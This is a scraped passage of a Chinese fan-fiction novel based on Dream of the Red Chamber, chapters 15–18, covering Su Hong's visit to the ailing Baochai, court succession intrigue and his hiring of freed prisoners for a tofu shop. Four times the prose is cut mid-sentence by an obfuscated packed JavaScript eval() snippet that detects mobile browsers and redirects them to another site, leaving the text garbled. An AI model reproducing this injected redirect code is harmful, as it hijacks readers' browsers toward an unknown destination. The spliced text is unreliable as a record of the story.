苏母正与封娘子针黹，见他神色恹恹地过来，笑道：“被你父亲撵出来了？才十三四的小孩子，学业上厉害就罢了，对仕途也这样感兴趣。也是奇了，我和你父亲都不是这样，生出个你竟是大俗人。” 他们家虽都是官宦人家不假，但像苏鸿这样小小年纪就十分积极的却很少见。连她的内侄，跟苏鸿差不了多少，现在还安安分分在读书。 封娘子笑道：“哥儿的性子宽仁厚道，若能为官做宰，不知多少百姓能得实惠。我们老爷倒是秉性恬淡、淡泊名利，却只几家受惠，不也是憾事？” “姐姐就夸他的，把他夸得尾巴都翘起来了，”苏母笑着，“我和你伯母打算绣个桌屏，你用笔描几句诗词，已压住那页了。” 苏鸿闻言点头，见是一首韩愈的《晚春》，便提笔小心描了上去。一边描摹，心中不由思及薛蟠，暗暗猜测母亲是要把桌屏送给谁。 不多时，甄英莲被簇拥着从外头回来，见屋子里人齐全，笑吟吟挨个见礼，依偎在封娘子身边。苏母笑着问她见闻，英莲便将姊妹们素日玩乐之景一一道出，又说：“我来时，姐姐似是不大舒服，微微咳嗽呢。” 苏母闻言将针线放下，忙道：“诶呦，想是她的热毒发了。你姐姐精神怎么样？” 甄英莲也恍惚听说过薛宝钗身带热毒，见苏母问得这样郑重，便道：“姐姐精神尚好，只是懒懒地躺着。” 苏母见甄英莲十分担忧，便笑道：“这是你姐姐胎里带来的症候，现有药吃着，不妨事。只是我和你母亲许久也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285818|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没去看你干妈，明儿正好去看看。鸿儿，跟你父亲说一声给学里请假，明儿你也一起去，问候问候你妹妹。” 虽说有医治的法子，但人生病时也不好受。正巧从前没问过药方，明日去了也跟薛太太要来，好歹留心给宝丫头配药。 虽要好好温书，但也不急于这一日。苏鸿想到宝钗在原文里的热毒，不免想起她的海上仙方，不由十分好奇，便连忙应下。 第二日一早，苏鸿亲去太学请假，得了批准后便去荣国府。门房早已得了吩咐，见是他过来便连忙分了一个小厮引着他到门上，又来了个婆子引他到里头。 苏鸿进去，就见母亲、封娘子和薛太太坐在一起说话，连忙请安。薛太太见苏鸿来了，笑道：“里头暖和，你去跟你妹妹说话去吧。” 不过十来岁的小人儿，又是从小都见的，没必要避讳这些。宝玉也在里头和宝丫头说话，正好年纪相近，一起认识认识。 苏鸿便笑着答应，掀了帘子到里间。就见宝钗身前堆着几个花样子，另一旁有一唇红齿白的小公子正坐着，貌若好女。果然如原文一般，“面如中秋之月，色如春晓之花”，一眼看上去竟分不清他的性别。 他微微一怔，宝钗见他过来，连忙起身笑道：“鸿大哥哥来了。正巧，这是我姨妈家的表弟，乳名叫宝玉，行二。宝兄弟，这是我世交家的哥哥，你喊苏大哥哥就是了。” 二人彼此厮见过，便都坐下来闲聊。宝玉早听说过苏家有位神童，十二就入学，见他又生得剑眉星目、容貌俊美，心中十分好奇。言谈间，见他虽熟知经史子集，引经据典，却又隐隐带着潇洒舒朗之风，也不问他学业，当即深为认可。 宝钗见他们能合得来也不以为怪。宝玉虽说厌恶仕途经济，喜欢在脂粉堆儿里混，却也不是全然贬斥学问的。苏鸿本性随和，见宝玉只尊孔孟，便也不提其他，间或说些与学子们射覆、蹴鞠的趣事。 她在旁静静听着，只是心中越发困惑。虽说母亲谈及自己婚事时都避开自己，但她岂能不知自己已与鸿大哥哥定亲？但又听到母亲和姨妈说起过冷香丸和金锁的来历，今日亲眼见到，八个字又确实是一对儿。 古往今来，那些才子佳人小说中，男女缘分往往是上天注定，必有小巧玩物用以撮合。自己和宝兄弟有金玉不假，但她素知自己，必不喜欢宝兄弟这样厌恶仕途的人，反倒是鸿大哥哥的脾性似是与她相合。 若再深想一层，爹妈早就知道宝兄弟有玉，为何又给她定了鸿大哥哥？她与鸿大哥哥没有什么信物，反倒是和宝兄弟之间有金玉？ 宝钗心里想着，面上却一丝不露，笑吟吟和二人说话。 宝玉此行不过是听说宝钗病了，特意过来探望。此时见来看宝钗的人这样多，便不好多留，见时辰差不多便告辞离开。 15. 杂书 待宝玉离开，宝钗便笑道：“前儿听妹妹说，伯父的书极好。我们也请了女先儿来说，里头玄学命理合乎道理，果然不错。也就甄伯父这样的人能写出来，旁人再不能的。” 她看过的杂书不少，如甄伯父这样劝人向善的虽有，却不如甄伯父见识广博、说理深刻。又有些写书人，前面本来写得好好的，写到后头倏忽冒出几个佳人，又钻进才子佳人的套子里了。 苏鸿闻言，见她虽笑着，眼底却似有纠结之意。又听她破天荒提起玄学命理，便猜着几分。 他笑道：“甄伯父若是知道，定然也高兴。这书原是写给不通道理、胆大妄为之人听的，因他们将律法视为无物，才远远从奇事上说起，为的不过是让他们心存戒惧，立意修德。如妹妹这般人，听了也无甚用处。” 宝钗一怔，反笑道：“这话怎么说？” 苏鸿眼含笑意，说道：“《康诰》曰‘惟命不于常。道善则得之；不善则失之矣’，天命尚无常，可见玄学命理一说虽有道理，根基却在各人德行，并非一成不变。妹妹读书知礼，事事明白，自尊自重，断不肯胡作非为。既如此，此书于妹妹不是无用吗？” 宝钗听了“并非一成不变”，心中一动。金姑玉郎虽为人称道，但她本不喜表弟这样的富贵闲人为夫，难道也要硬着头皮去成就姻缘？何况婚姻大事皆由父母做主，为自己定下鸿大哥哥，必也是用心良苦。 此时见苏鸿这样夸自己，宝钗不由笑道：“我岂敢自称读书知礼，不如鸿大哥哥多矣。” 苏鸿却深觉宝钗之为人见识皆在自己之上，见她谦虚也只是一笑。又问道：“听说妹妹身体不好，今日觉得怎样？” 宝钗闻言笑道：“也不妨碍什么，只是咳嗽、气喘。吃了药就好许多了，倒劳烦伯母和婶婶来看我。” 还要再说时，莺儿进来笑道：“姑娘，大爷听说鸿大爷过来，要请他去前头。才刚回了太太，让请鸿大爷过去呢。” 苏鸿便起身笑道：“大哥哥这样性急，不知有什么好事等着我。我先过去，妹妹好生休息。” 宝钗答应着，起身送了才喊着莺儿一同来描花样子。谁知不多时黛玉又摇摇走了进来，身上披着的大红羽缎褂子。宝钗忙让进来，问道：“外头下了雪？怎么这会儿过来，别冻坏了你。” 黛玉一贯身体孱弱，一年到头身体好的日子没几天，何苦下这样的雪还过来。宝钗心知她是收宫花时从媳妇丫头们嘴里知道自己病了，心里不由感念。 黛玉笑道：“雪不大。这几日不见姐姐去给太太请安，那日又听周姐姐说姐姐身上不大好，就过来看看。听丫头说，方才宝玉也在，怎么这会儿先跑了？” 宝钗拉着黛玉坐下，闻言笑道：“我世交家的哥哥也来看我，宝兄弟和他待着不自在，就先去了。倒是你，昨儿打发了丫头来问，过几日天好些了再来不迟。” 想到此处，不免想起黛玉之病，便细细问起。黛玉笑道：“我自会吃饮食起便吃着药，请多少名医都不见效。听说我三岁时，来了个癞头和尚要度化我出家。见我父母不从，便又要我不许见哭声，不许见外姓亲友，都是些不经之谈，谁去听他的？” 宝钗闻言，先是想到世上何来这样多的癞头和尚。要度化英莲妹妹的是癞头和尚，给她八字谶言的是癞头和尚，如今要度化林妹妹的亦是癞头和尚。她有些惊心，但听黛玉及父母都不认和尚之言，想到自己前番纠结也觉好笑。 见黛玉有些不解地看着她，便笑道：“慢慢养着，有老太太在还怕什么？” 依她看来，什么不许见眼泪的奇病，多是糊弄人的，怕是林妹妹多思多愁，这才耗了气血。便是那些神神叨叨的事，英莲妹妹被寻回，连带着甄老爷也还俗回家。而细究根由，又是甄老爷为人扶危济困，乐善好施。 如此来看，林妹妹倒也未必像和尚说得那样，好好调养着，过几年许是好了。便是一时的灾祸，总也能遇难成祥，逢凶化吉，且不必自己吓唬自己。 黛玉见她这样说，虽知道她是好意宽慰自己，但想到宝钗天生壮，轻易不曾生病，心中不由羡慕。虽说老太太疼爱她，请太医为她修方配药，但下人们多了一桩差事，难免又有诽谤之言。连周姐姐素日看着极好，也有意无意怠慢她。 想到此处，她心情便又沉郁下来。宝钗见了，素知她敏感多思，便也不以为意，岔开说些别的话引她开怀。黛玉性子来得快去得也快，与她说笑一会儿，见外头不下了，便同老妈妈一起走了。 且说苏鸿去寻薛蟠，正巧今日贾政在家，便同去拜访。贾政从前虽是诗酒放诞之人，如今掌家，性子倒是沉稳许多。素日便喜欢苏鸿聪慧稳重，见他过来，便也笑着考问功课，见他言之有物，更是喜欢。 苏鸿请了安，也未曾多坐，便同薛蟠一起到书房闲话，等着苏母和封娘子出来。薛蟠便道：“宁国府近来又有一件奇事，你道可笑不可笑？先时背着宁府太爷逃出生天的焦大，被撵到庄子上去了。” 苏鸿平日并不太关注宁府的微末小事，不过偶尔听两句风言风语。见薛蟠这样说，也想起原文中有关焦大的事。他蹙眉道：“既然是有恩于贾家，为什么不给他脱了奴籍，置办些田庄产业，怎么还叫他留在贾家当奴才？现在又稀里糊涂撵到庄子上？” 他深知贾家，老一辈跟在主子身边的奴仆都有体面。贾家不光不将他和其他有体面的奴仆一体行事，还作践他，有恩竟不如没恩的。焦大纵然酗酒骂人，也不过是他心里过不去罢了，终究还是宁府的主子不像样。 薛蟠也笑道：“谁说不是呢？听说是成日家嘴里骂得不干净，又被我表姐撞见。就是荣府里琏二奶奶，她持家最严，哪肯留着焦大这样放纵的人，一句话便说给蓉哥儿，把他撵走了。” 他想到焦大口中那些不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285819|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堪入耳的话，虽与那位蓉大奶奶素不相识，却也不免心惊。堂堂一个男人，又是长辈，竟连那二两肉都管不住，生生作践人家。蓉哥儿更是没气性，连自家奶奶都护不住。敬叔就更可笑了，明明活着，竟任由珍大哥胡闹。 苏鸿垂眸细思，不由暗暗称奇。贾史王薛四家从前随太祖立下功劳，才有今日富贵满门。他们对自家功臣尚且鄙夷不屑，那皇家又会如何看待现下多为纨绔子弟、无功于朝的功臣之后呢？ 今上与这四家关系倒是相近些，可再下一代就不好说了。若这些纨绔子弟能有所悔改，至少别惹事，许是还能容下他们。若也干脆躺在功德簿上无忧无愁，肆意妄为，终有一日会惹来祸事。 可恨《石头记》未完，虽说衰退之势明显，终究未见到四家落幕。这些男子倒是死不足惜，只可怜了一众女子，似是无半点出路。连宝妹妹，即便虽离别亦能自安，却也有寡妇门前是非多的俗语，生活岂会称心。 苏鸿半晌才道：“不知感恩，与禽兽何异。都说疏不间亲，论理也没有你去管亲戚家事情的道理，更何况还是隔房的亲戚。只是此事还得悄悄让政叔知道，他作为长辈，虽劝不住，料想你珍大哥也未必在意那焦大，政叔做主脱了他的奴籍、赏赐些金银，总比没有强。” 薛蟠本不欲管旁人闲事，焦大又不是有恩于薛家。但听苏鸿此言，反正也不费事，他装憨多嘴一句罢了。若姨爹不管就罢了，若好歹能给焦大些好处，也是他的小功一件。 他摇头晃脑笑着，说道：“罢了罢了，还得你大哥哥出马。这事换了别人未必成，我在旁人眼里素来是个憨的，多嘴一句也没什么。只是你做好人，还让我出头，准备给我什么好处？” 苏鸿笑着捶了下薛蟠，笑骂道：“好个师弟，竟和师兄耍嘴来了。我给你的好处嘛……你也不必急，只等你成亲了，我自然有好礼送你。” 薛蟠见他开起这种玩笑，不由啐了苏鸿一口，待要反唇相讥时，又想起这是自己的准妹婿。他笑着指住苏鸿道：“你也别说成亲，越性儿再说远些，日后给我孩子当老师，叫他天天缠着你。我就日日吃酒看戏，也松快松快。” 苏鸿笑得弯腰：“古有望梅止渴，今有盼儿拜师。也罢也罢，少不得师兄我受累，替你教导教导。只是我的手段你可知道，若跟你像个十成十，手板子可少不了。” 他是随口画饼，没想到师弟一杆子又支到不知多少年后了。不过这也不难，看薛家一家子，唯有薛蟠格格不入些，说不得他的孩子反倒像薛老爷和宝妹妹。 薛蟠乐得笑道：“你可别说大话，到那时自有人拦着你，不叫你做严师。” 苏鸿闻言面上泛红，啐道：“师弟没分寸，倒是开起大妹妹的玩笑了。回头大妹妹知道，不跟你急才怪。” 二人又说了些正经事，待里头薛太太派人传话，苏鸿才同苏母、封娘子一起回去。 16. 皇权 年事祭祀等事不必赘述。因今上年老体弱，诸皇子忙着拉拢朝臣、打压异己，朝野上下略有动荡。但这与尚未出仕的学子无关，苏鸿因过两年将参加乡试，便在国子监潜心学习。 谁知端午节前，今上为表对天下学子的殷切关怀，特意下旨命三皇子到国子监慰问学子。不仅如此，还按班赏赐节礼，赐下香囊、艾叶及笔墨纸砚。喜得众学子纷纷感戴皇恩，写文章作诗歌功颂德起来。 苏鸿在众学子中亦是佼佼者，和其他素日便有才名的学子被祭酒叫去拜见三皇子。他混在人堆儿里只管垂头肃立，唯有随众答话时才拱手行礼。只是借着余光瞄见三皇子身上的玉带蟒袍，合中身材，果然是二十上下。 三皇子见众人中唯有苏鸿年纪最小，料定他就是翰林院苏理之子，传得沸沸扬扬的十二岁入学的神童。他含笑问道：“哪位是十二入学的苏鸿？” 苏鸿马上出列，整整衣袖下拜道：“学生苏鸿，见过殿下。” 三皇子见他举止文雅，又生得面如冠玉，便细问平日功课、君子六艺如何。见苏鸿谈吐有致，便笑着赞道：“今昌明隆盛之邦，运隆祚永之朝，难怪有此神童，让本殿想起昔日甘罗故事。日后仍要勤学不辍，来日蟾宫折桂，也好为朝廷效力。” 他如今正是志得意满之时，来国子监代天子慰问学子虽说只是小事，但代天子行事本就有着深意。何况太学学子背后不是地方乡绅就是官宦勋贵，顺手拉拢几个完全划得来。 苏鸿连忙答道：“圣上德配天地，明贯乾坤，学生生逢太平盛世，沐浴皇恩，亦是三生有幸。学生谨记教诲，不敢忘却。” 他面上激动，脸颊微微泛红，适时流露出一丝少年意气。只是余光瞥见旁人如利箭一般的眼神，不免有些无奈。三皇子见苏鸿乖觉，其他学子又这般看重自己的评价，越发得意。他笑着扶起苏鸿，又一一问过其他学子后便额外赏了文房四宝。 苏鸿退回队列中，见众人都得了赏赐才松了口气，垂眸肃立在侧。不多时，便有人引着众学子出去，剩下国子监诸学官陪同三皇子。 苏鸿与众学子互相吹捧客气一番，才领了今上和三皇子的赏，将这些先送到校舍里锁好。想到如今众学子定是围在一起品鉴那些无趣的颂圣诗，便脚步一转到藏书阁后闲逛。 因他素日常来，守阁人见他过来亦不以为怪，只笑着调侃：“今儿三皇子奉圣人之命探问，苏秀才怎么不到前头去？” 苏鸿笑道：“方才已得了三殿下召见，领了今上的赏。真是皇恩浩荡，让我感激不尽。殿下鼓励我勤学不辍，我哪敢躲懒，这不就来勤学了？” 守阁人一笑，心下明白他喜静不喜动，定是不爱这样热闹的场景才躲到这里。那些秀才举人们连些许小事都爱吟诗作对，何况今日这般盛况，谁不写个十首八首的。苏秀才每常只作场合诗，不过一首两首应景，自是不习惯那般场景。 苏鸿在藏书阁待了一会儿，估摸着祭酒等人已领着三皇子别处去了，才出了藏书阁回去。谁知从二楼上下来，余光竟是瞥见假山中有个身穿金线缂丝蟒袍的人在同一团灰影说话。 他心中一惊，速度极快得瞥了一眼，虽有些模糊，但确实是个灰衣人无误。他骤然想起五、六年前他们一家险些被一群灰衣人误杀，不由大惊。只是天下穿灰衣者甚多，他也不敢认定就跟三皇子有关。 可回忆起来，他们家素来与人为善，不曾结仇。那群人又是忽然出现，见薛家来人后又毫不恋战，怎么看都想是被撞破了腌臜事后意欲杀人灭口。以至于他们回到老家后，还日夜安排仆从值守，生怕那些人杀个回马枪。 他心底疑惑，只是不敢泄露分毫，面色如常下了藏书阁后便绕着回廊到了前头。三皇子与手下交代完毕后，无意间瞥到回廊处有个身穿学子服的学子走过，心中一惊。只是往来学子虽不多，但都穿着制式衣裳，如今再去认也迟了。 又揣度手下身穿灰衣、头束灰巾，料定旁人未必能发现。即便看到自己的身影，顶多以为他在方便，如何敢细看？因而三皇子便也未当回事，整整衣服便径自同其他人汇合。 苏鸿却不知自己险些被三皇子发现，见自己来了人多的地方才松了口气。只是他现下已无心思去想杂事，一边担忧今上真有传位三皇子的意思，一边又担忧当日苏家险些遭难就是三皇子的手下所为。 他静坐在座位上，脑海中翻来覆去看着《石头记》，不由心中暗骂。这写书人也忒会反思自己了，通篇都写着自家子弟不成器才导致家族没落，对着皇室倒是一番歌功颂德。连带着有关政治的因素，也统统被一笔带过。 他就怕哪日三皇子的手下想起他们家，顺手给屠了。嘴上说着世道如何如何太平，背地里谁还不知道谁，是大街上的乞丐少了、还是莫名其妙被灭门的惨案少了。 苏家虽是官宦之家，但他父亲也只是翰林院的小官，外祖虽官至兵部侍郎，在皇家毫奴眼中又算得了什么……苏鸿有些急躁，但想到三皇子不一定能上位，且那些灰衣人不见得真是三皇子的手下，这才微微平复心情。 谁知，才刚过了月余便有圣旨布告天下，今上自言在位日久、年老体衰，退位于三皇子，自称太上皇。此诏一出，众人虽早有预料，但却没想到会这样快。又听太上皇圣旨中仍言训政，方知太上皇未必甘心放权。 大皇子、二皇子皆为兄长，岂能容忍弟弟登基。可三皇子乃嫡子，有太上皇诏书，又有祖宗家法，也只好强自忍耐。新皇为安抚人心，接连颁诏。先是厚赡太上皇、皇太后、太妃等，又封二位兄长为亲王，一向与之交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285820|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的四弟封为忠顺亲王。见朝野震动，又封赏旧臣、功臣，又命大赦天下，不再赘述。 接接连连忙碌了月余，朝廷才重新恢复以往的宁静。此时太上皇旧臣因新皇恩德得了封赏，新皇功臣亦是得了实惠。众臣只当父子兄弟一片和睦，皇位更替竟并未流血，俱都喜得满面红光。新皇眼见群臣拜服、天下归心，自是志得意满。 谁知太上皇不过歇息数日，仍如旧日般上朝理事，端坐龙椅。新皇虽是嗣皇帝，也只好在龙椅旁加设一小座，在其父跟前垂头听训。天有二日，群臣也不知究竟该听谁的。 可新皇功臣但凡拥护新皇主张便被骂，连称呼二主时新帝在先、太上皇在后，也会被太上皇骂个狗血喷头。新皇碍于孝道也不好为臣子辩驳，久而久之，朝堂便仍是太上皇说了算，朝堂复又安稳下来。 且说自大赦天下之后，一些轻刑罪犯便被放出大牢。只是他们虽有幸沐浴皇恩，重见天日，回家之后却早就物是人非。打官司、入狱少说一年半载，田地、房产都被宗族侵占，连带着妻儿受苦。 一些蒙冤入狱者，族人虽碍于情面答应归还，却总是推三阻四，连带着妻儿日日以泪洗面。一些着实作奸犯科者，族人恐其犯浑，反不敢如何，嘴上嚷着是为他照管家业，便讪讪归还。 是以近日京城街头多了不少做工的男人，只是生得皮包骨头，旁人知其来历，便总不理会。即使知晓是含冤入狱者，见他们骨瘦嶙峋，也不愿让他们做工，免得浪费粮食。官府以为是流民，见他们又户籍齐全，搜刮两个铜板便也自去。 是日，苏鸿陪苏母一同上街到金银铺子。他骑在马上，见着这般场景心中滋味难言。只是他年岁不大，即便有心相帮，帮得了这些人，他看不见的还有多少？他们好手好脚，有出来做工的志气，可惜这样一幅身体找不到东家，也是可叹。 到了铺子门前，马车便直入一旁的大门，苏母才被媳妇丫鬟们围随着入了铺子。苏鸿下了马，将马儿交给小二安置后便与苏母一同进去。小二们也都不拦着，笑着指给他苏母的去处。 苏母正笑吟吟将图样给了掌柜的，笑道：“这是我精心设计的，独一份儿，就不给你们做样子了。你可吩咐师傅们仔细。” 掌柜的与苏母时常来往，见状笑道：“又是谁这么要紧，让太太您亲自设计？您放心就是，这么多年，您也是我们的贵人，师傅们都感激不尽呢。是您指明要的东西，他们还敢马虎？” 说着就看到苏鸿进来，这才一拍脑袋笑道：“诶呦，看我这记性，竟是忘了哥儿了。只是哥儿还小，现在就预备着，只怕日后失了光彩，还得再炸一炸。” 苏母笑道：“这还早着呢，是为小辈做的。只是过些年我们鸿哥儿摆酒了，你也得乖乖来上礼，少了我可不依。” 17. 产业 掌柜的闻言一挥手，笑嘻嘻道：“这还用太太说，我们巴不得去沾沾喜气呢。” 苏鸿过来见了礼，便立在一旁看苏母和掌柜的交代图样细节，见是牡丹缠枝累丝和莲池游鱼累丝的图样，心中便猜到几分。虽说镯子的图样精美，只是他心中存着事，时不时便有些出神。 “不长眼的狗杂种，谁让你在这儿挡路了，滚开！” 外头忽然传来一阵马蹄声，随即又是男人趾高气昂的叫骂声，又是一阵马鞭声破空声。众人被惊住，连忙到窗前查看。只见一华服男子骑着高头大马，挥扬着马鞭狠狠甩在路旁求雇佣的可怜人身上。嘴里又不干不净地骂了几句，半晌才纵马离去。 路边被马鞭打到的几人被抽得流血，此时正心疼地翻看被抽烂的衣裳，却只敢掩面哭泣。路旁的几个杂货摊，许是也挡了那人纵马前行的路，被一鞭子抽翻，摊主夫妻也抹着眼泪收拾。 掌柜的见状，恨恨道：“又是他。” 苏母先是吩咐道：“鸿儿，你拿些钱给他们，让他们去医馆包扎下伤口。炎天暑热的，放着不管也不是事。”又问道：“他是谁，光天化日之下就这样嚣张？” 掌柜的冷笑道：“皆因我与太太相熟，才敢说这话。那是忠顺王府的家奴，不知怎么成了王爷跟前的红人，他就张狂起来。日日纵马，稍不顺心就扬着鞭子抽人，偏偏无人敢管。” 朝堂上的事她们也知道一二，新皇登基前与四皇子相交甚厚，连岁数不大的四皇子也和两个皇兄一样受封亲王。也怨不得无人敢管，谁敢沾惹皇家的事呢？ 苏母闻言沉默，点点头便也不再多说。见苏鸿已经到下头，便和掌柜的说道：“等你做好了，直接派人送到我府上吧。我家中还设计了几个新鲜花样，回头再拿给你。” 苏鸿见他们几人正对着衣裳哭，想到一身完整些的衣服对他们而言许是十分珍贵，心中也有些酸楚。他见风信上前给了些钱，方道：“如今天热，这样的伤还是寻位大夫看看。若拖延久了，恐怕于性命有碍。” 众人手里拿着钱，仍是只顾流泪。听了苏鸿之言才哭道：“如今到哪儿都被嫌弃，连钱都挣不来，还拖累老婆孩子做什么！我们也是正经人家，要不是被那些黑心贼诬告，怎么会到外头讨饭吃。” 有个尤其黑瘦的男人先是捧着钱哭，抬头看见风信后才愣了一下，问道：“你们是苏家的？” 他在城外的粥棚见过这小厮几次，他生得白净，又难得不吆五喝六的。他家里实在艰难，也和老婆孩子去讨碗稀粥，好歹能活下去。若是苏家的公子，怪不得这样，好竹出了好笋。 苏鸿顺着他的目光看向风信，蹙眉说道：“你们别在这里哭，快收拾了东西去医馆吧。别说丧气话，家里妻儿父母都等着。如今太平盛世，好手好脚的总有出路。” 众人知道他为何不叫他们停留，便也都连忙起来，互相搀扶着往医馆去。他们本不欲去医馆，只是确如苏家公子所说，这样热的天，放着不管必死无疑。好歹留着一条命，多活一天是一天吧。 他们也看不起好大夫，只挑挑拣拣找了最重的人，叫他进去看大夫。大夫开了药后，他们又照着药方抓了几副，也好省下大夫的诊费。所喜医馆也知道他们穷，开得都是便宜的药。如此抓完药，众人还能再分一分剩下的钱，好歹对付两天。 却说苏鸿回了铺子，恰巧苏母也下了楼。虽说苏鸿面上不显，但知子莫若母，苏母自是能看出他心情不好。她并未作声，待回家后才叫苏鸿到房里来，又支开媳妇丫头们，问道：“今日是怎么了？” 苏鸿抿唇坐在一旁，闻言垂头道：“母亲，天子脚下尚且如此，外头更不必说了。他们好不容易出了那腌臜地方，却又无处落脚，无衣无食。为官者当视民如子女，连王府家奴都能如此嚣张，当真可很。” 原先看着石呆子因为几把扇子就被人坑得破家败业，他也只骂一句权贵人家不修善德。可看着被世道逼得那样的可怜人，他却连一句公道话都不敢说，一时心中更是愤懑不平。 苏母点头叹道：“我儿长大了。母亲不求你高官厚禄，只要你不像他们一样，便令母亲一生欣慰了。你也十四了，若想用自己攒下的钱置办产业，母亲也不拦着，只是要问过你父亲。” 想了想，又道：“你的产业挂在你甄世伯名下就好，随你自己去和你父亲说吧。” 苏鸿一边应下，一边心想：母亲说得对也不对，想要改变这样的世道，必要有高官厚禄才好。他一人力微，众人力强。上行则下效，若有朝一日他也入阁，旁人岂有不效法他的？可又该怎么顺顺利利爬上去，还不与人同流合污？ 苏鸿一时没有答案，这本就是悖论。如今这个世道，想干干净净爬上去比登天还难。 待苏父下衙回家，苏母便说起今日之事。见苏父面带不满，便劝道：“你既非御史，如今又正是多事之秋，何苦去惹这个麻烦。两派正明争暗斗，你上本参了忠顺亲王，恐怕会以为你是有意投靠太上皇。” 苏父亦知苏母所言是正理，自嘲一笑。身为读书人，立意学成文武艺，货与帝王家，如今倒是如字面所言，只管服侍帝王了。他沉默片刻，说道：“鸿儿既然有心就让他去吧，也不指望他能挣回本钱。只希望那些人莫要辜负鸿儿的好意，别惹出乱子就好。” 苏母点头一笑，见苏鸿过来请安，就让苏父与他说，自己悄然离开。苏父便带着苏鸿一起到甄士隐处，三人初步商议定了，这才各自散去。 第二日一早，苏鸿便差人到学里请假三日。他发愁该做什么产业才能安置这些壮年男子，又能让他们挣够自己的工钱。但思前想后，还是决定先招工，问问他们会什么再决定。 当日，他就差人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285821|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到街头常年招工之处查访，见那几人都在，并未直接找上他们。转而又命人找来牙人，询问这些人的底细。 牙人听是问他们，便摇头道：“他们确实可怜，入狱的事不清不白，家里田产又被侵占了，走投无路才要给人做工。看着也不闹腾，老老实实的。但他们瘦得很，饿得太久，雇他们不划算。” 他们来这街上是自寻出路，为的不过是混口饭，不是要卖身为奴。虽不归他管，但行当里自然有规矩，在哪条街被雇走，便由哪处的牙人做见证拟契书。他虽希望这些人被雇走，少在这里碍事，但也不敢胡乱说谎，免得触犯那些富贵人家。 背后便是再有靠山，那些权贵也不见得会为了他们这些小人物做主。 风信便点头道：“要是自己作奸犯科就算了。既然不是，你就叫他们过来，问清楚都会干什么，我们爷自有道理。” 牙人见他们竟不介意，也乐得做个顺水人情，挣几个钱，便让人喊那几个人过来。他肃着脸一一查问，见他们会的不过是农活、编织筐子、粗浅木工等，暗地里摇了摇头。那黑瘦的男人见牙人摇头，以为都不符合东家的要求，心中越发着急。 他想到这些日子受到的苦拜谁所赐，便一咬牙道：“大人，我，我会做豆腐。我家有豆腐坊，几个村子的豆腐都是来我们家买。只是后来出了事，豆腐坊现归我弟弟家管着。只要东家愿意招了我们几个人，我愿意把做豆腐的手艺交出去。” 话一说完，他感觉心都跳到嗓子眼，神情灰败中带着一丝不易察觉的快意，似哭似笑。做豆腐是他们家世代相传的手艺，十里八乡都知道。只可恨他蒙冤入狱，本以为不能活着回来，便赶着把自家的豆腐坊暂时交给弟弟。 本以为弟弟好歹白得了一套工具，会对他孩子好些。没想到他回家之后，却见妻子和孩子都瘦成一把骨头，弟妹倒是对妻子吆五喝六。他气得要死，勉强忍耐下来，要弟弟归还自家豆腐坊，谁知弟弟不仅不还，还纠结族老找上门要撵他出去。 用的借口，恰恰就是他入狱给祖宗蒙羞。明明谁都知道他是冤枉的，却无人肯给他说句公道话。 他的房屋、豆腐坊被弟弟和族人一家瓜分，田地早被人霸占，虽然有手艺，却连工具都没有，被撵到村外草屋去住。要不是岳母家接济，又有好心人舍粥舍米，他们早就饿死了。想到此处，外传祖传手艺的负疚感也少了些。 牙人听他会手艺，又打量了这黑瘦男人两眼，笑道：“成，你们先等着吧，我跟东家说去。” 做豆腐的手艺好是好，只是现在那位小爷就在里头坐着，再想做什么也来不及了。他压下心里的遗憾，到里头笑嘻嘻说了这一行五人会的东西，又添了句：“他说只要爷愿意招他们五个人，就把做豆腐的手艺交出去。依我看，就让他们做豆腐也使得，我知道有现成的豆腐坊准备出手呢。” 18. 豆腐 苏鸿本也发愁该做什么，见有人会做豆腐，便道：“既然这样，便拟契书吧。雇工的价钱就按市价，先签个半年。你方才说的要出手的豆腐坊，是在哪里？” 虽说苏父也指了家里空闲的铺子，但要是他们会做豆腐，又有现成的豆腐坊，那盘下来也未尝不可。不过且看吧，万一要价昂贵，重新置办一套工具就是了。 